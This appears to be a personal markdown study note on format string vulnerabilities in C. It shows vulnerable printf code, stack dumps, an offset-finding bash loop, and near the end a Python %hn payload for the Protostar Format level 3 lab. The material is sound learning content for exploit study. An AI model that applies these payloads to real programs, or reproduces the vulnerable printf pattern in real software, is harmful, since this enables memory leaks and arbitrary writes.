Skip to content

Latest commit

 

History

History
109 lines (83 loc) · 3.89 KB

fmt.md

File metadata and controls

109 lines (83 loc) · 3.89 KB

Everything I learned about FMT in general

Not-So vulnerable code:

#include <stdio.h>
int main(){
	char a[100];
	puts("Enter your name:");
	scanf("%s",a);
	printf("%s",a);
	puts("\nbye");
	return 0;
}

Vulnerable Code:

#include <stdio.h>
int main(){
	char a[100];
	puts("Enter your name:");
	scanf("%s",a);
	printf(a);
	puts("\nbye");
	return 0;
}

The major difference between the two code is passing of user input directly into the printf function.Variable a is passed to printf which is a user input and it can't be trusted. So if passed with some format strings then the value from the stack would be popped and leaked to the user requesting it.

Stack for Non Vuln code:

[------------------------------------stack-------------------------------------]
0000| 0xffffcf20 --> 0x8048651 --> 0xa007325 ('%s')
0004| 0xffffcf24 --> 0xffffcf38 ("AABB")
0008| 0xffffcf28 --> 0xf7fd0410 --> 0x80482b8 ("GLIBC_2.0")
0012| 0xffffcf2c --> 0x804851d (<main+23>:	add    ebx,0x1ae3)
0016| 0xffffcf30 --> 0x0 
0020| 0xffffcf34 --> 0x1 
0024| 0xffffcf38 ("AABB")
0028| 0xffffcf3c --> 0x0 
[------------------------------------------------------------------------------]

Stack for Vuln Code:

[------------------------------------stack-------------------------------------]
0000| 0xffffcfc0 --> 0xffffcfd8 --> 0xf7007825 
0004| 0xffffcfc4 --> 0xffffcfd8 --> 0xf7007825 
0008| 0xffffcfc8 --> 0xf7fd0410 --> 0x80482b8 ("GLIBC_2.0")
0012| 0xffffcfcc --> 0x804851d (<main+23>:	add    ebx,0x1ae3)
0016| 0xffffcfd0 --> 0x0 
0020| 0xffffcfd4 --> 0x1 
0024| 0xffffcfd8 --> 0xf7007825 
0028| 0xffffcfdc --> 0xc2 
[------------------------------------------------------------------------------]

General Stack Layout:

alt text

Working of printf() laymans terms:

printf manages a character pointer [CP] and an argument pointer[AP]. CP points to the first character in the format string and AP is pointer towards the first argument on stack.

If character pointer encounters any % sign followed by any format string char then the argument pointer is increased by one and is now pointing to a different location in stack.

Resource: https://www.youtube.com/watch?v=y5kcaqKYlqI&list=PLyqSpQzTE6M-q0Xgn0icEHvUS7WQxvenv&index=20

Finding Offset:

The following bash script can help us find the correct offset of our input on the stack.

for i in {1..50};do echo $1; echo $(python -c "print '$i \n AAAAAAAA.%$i\$x'") | ./binary; echo; done

Some useful format specifiers:

  • Reading ith element on the stack %10$x : Will print the 10th element on stack in hexadecimal format.

  • %n will write the number of bytes written so far to the argument variable.

  • %60d will add padding to the string if required in some cases.

  • %4$n will write the bytes to the 4th argument on the stack which ideally should be a location to a variable.

  • %hn will write 2 bytes to the supplied variable.

Writing arbitrary content:

Source : Format Level 3 from protostar.

Let's say we have a target variable at address 0x080496f4, then can can use %hn modifier to modify two bytes at a time. In theory it will work like, put the address of last two bytes then the significant bytes and add padding using width modifier such as %nd which will write n number of spaces and then invoke hn modifier to write the number of printed character to the address.

One such exploit would look like:

import struct
payload = "" 
payload += struct.pack("<I", 0x80496f6) # address of top two bytes
payload += struct.pack("<I",0x80496f4)#  address of least significant bytes
payload += "%250d%12$hn" # padding 250 and then write to 12th arg on stack
payload += "%21570d%13$hn"# padding of 21570 and then writing the result to 13th arg on stack
print payload